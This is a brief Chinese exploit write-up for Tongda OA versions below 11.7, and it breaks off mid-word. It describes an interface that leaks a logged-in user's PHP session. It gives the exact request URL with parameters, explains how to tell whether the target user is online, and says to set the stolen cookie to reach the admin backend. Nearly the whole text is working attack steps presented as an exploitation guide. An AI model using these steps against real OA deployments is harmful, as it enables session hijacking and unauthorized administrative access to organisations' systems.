进攻简述 通达OA v11.7中存在某接口查询在线用户，当用户在线时会返回PHPSESSION实现可登录后台系统 影响版本 通达OA <v11.7 进攻利用 检测当前用户是否存在线 http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 不在线 不在线显示RELOGIN 在线 在线页面空白，但已拿到SESSION 设置Cookie可直接登录后台 http://127.0.0.1/general/index.php 工具利